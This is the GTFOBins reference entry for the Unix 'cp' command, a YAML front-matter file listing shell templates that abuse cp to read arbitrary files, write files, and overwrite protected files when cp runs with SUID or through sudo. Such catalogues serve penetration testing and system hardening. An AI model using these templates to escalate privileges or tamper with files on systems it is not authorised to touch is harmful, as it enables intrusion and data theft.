GTFOBins.github.io/_gtfobins/cp.md
2021-04-05 13:58:35 +02:00

32 lines
1.2 KiB
Markdown

---
functions:
file-read:
- code: |
LFILE=file_to_read
cp "$LFILE" /dev/stdout
file-write:
- code: |
LFILE=file_to_write
echo "DATA" | cp /dev/stdin "$LFILE"
suid:
- code: |
LFILE=file_to_write
echo "DATA" | ./cp /dev/stdin "$LFILE"
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)
code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
sudo:
- code: |
LFILE=file_to_write
echo "DATA" | sudo cp /dev/stdin "$LFILE"
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)
code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
---